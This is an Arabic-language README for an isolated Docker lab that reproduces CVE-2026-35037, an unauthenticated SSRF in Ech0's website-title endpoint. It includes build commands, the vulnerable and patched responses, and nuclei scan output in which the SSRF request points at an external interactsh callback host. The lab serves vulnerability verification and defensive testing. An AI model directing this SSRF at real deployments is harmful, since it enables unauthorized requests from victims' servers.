مختبر CVE-2026-35037 Ech0 SSRF

يحتوي هذا المستودع على مختبر محلي معزول لإعادة إنتاج ثغرة CVE-2026-35037، وهي ثغرة SSRF غير موثقة في نقطة النهاية GET /api/website/title الخاصة بـ Ech0.

يستخدم المختبر خادم أدلة محليًا خاضعًا للتحكم بدلاً من البيانات الوصفية السحابية أو البنية التحتية لجهة خارجية.

ملخص

• المنتج: lin-snow/Ech0
• الثغرة: تزوير الطلب من جانب الخادم
• CVE: CVE-2026-35037
• GHSA: GHSA-cqgf-f4x7-g6wc
• الإصدارات المتأثرة: تذكر GHSA <= 4.2.1؛ ويصف NVD الإصدارات السابقة لـ 4.2.8
• الإصدار المُصحَّح: 4.2.8
• نقطة النهاية: GET /api/website/title
• المُعامِل: website_url
• المصادقة: غير مطلوبة في الإصدار الضعيف

المراجع:

• https://nvd.nist.gov/vuln/detail/CVE-2026-35037
• https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc

الملفات

• docker-compose.yml: يقوم بتشغيل Ech0 وخادم HTTP محلي للأدلة
• Dockerfile.ech0-lab: يبني Ech0 من العلامة الرسمية على GitHub
• verify-cve-2026-35037.sh: يرسل طلب التحقق من SSRF الخاضع للتحكم
• evidence/index.html: صفحة HTML خاضعة للتحكم مع عنوان <title> فريد
• nuclei/CVE-2026-35037.yaml: قالب nuclei مرشح

لماذا البناء من المصدر؟

العلامات القديمة الضعيفة لـ Docker مثل sn0wl1n/ech0:4.2.1 لم تكن متاحة عند إنشاء هذا المختبر. بدلاً من ذلك، يبني المختبر من العلامات الرسمية lin-snow/Ech0 على GitHub:

• v4.2.1 للمرشح الضعيف
• v4.2.8 للمقارنة المُصحَّحة

يتجنب ملف Dockerfile المحلي أيضًا مشكلات البناء من المنبع التي لوحظت مع build.Dockerfile القديم.

المتطلبات

• محرك Docker أو Docker Desktop
• curl
• اختياري: nuclei

شغّل هذا فقط في مختبر محلي معزول. لا تستخدم هذه الأوامر ضد أنظمة طرف ثالث. استخدمها فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها.

إعادة إنتاج السلوك الضعيف

تشغيل Ech0 v4.2.1:

ECH0_TAG=4.2.1 docker compose up -d --build

أرسل طلب التحقق الخاضع للتحكم:

sh verify-cve-2026-35037.sh

الاستجابة المتوقعة للثغرة:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}

تأكد من أن Ech0 وصل إلى خادم الأدلة الخاضع للتحكم:

docker compose logs evidence

سجل الأدلة المُشاهَد:

ech0-cve-2026-35037-evidence  | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -

مقارنة مع الإصدار المُصحَّح

تشغيل Ech0 v4.2.8:

docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build

تشغيل نفس الطلب:

sh verify-cve-2026-35037.sh

الاستجابة المُصحَّحة المُشاهَدة:

HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8

{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}

التحقق باستخدام Nuclei

التحقق من صحة القالب:

nuclei -validate -t nuclei/CVE-2026-35037.yaml

التشغيل ضد الإصدار الضعيف v4.2.1:

nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277

النتيجة الضعيفة المُشاهَدة:

[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.

التشغيل ضد الإصدار المُصحَّح v4.2.8:

nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277

النتيجة المُصحَّحة المُشاهَدة:

[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.

التنظيف

docker compose down -v

ملاحظات

• يستخدم المختبر اليدوي http://evidence:8080/ داخل شبكة Docker Compose.
• يستخدم قالب nuclei {{interactsh-url}} ويتطلب دعم OAST/interactsh.
• يستخدم قالب nuclei {{interactsh-url}}، والذي يتصل بخوادم interactsh الخاصة بـ ProjectDiscovery مثل oast.online أو oast.fun افتراضيًا. استخدم -iserver لتجاوز الخادم أو -ni لتعطيل interactsh.
• لا يختبر المختبر نقاط نهاية البيانات الوصفية السحابية.
• لا يتصل المختبر بأهداف إنتاجية أو تابعة لجهات خارجية باستثناء تنزيلات التبعيات/الصور العادية أثناء بناء Docker.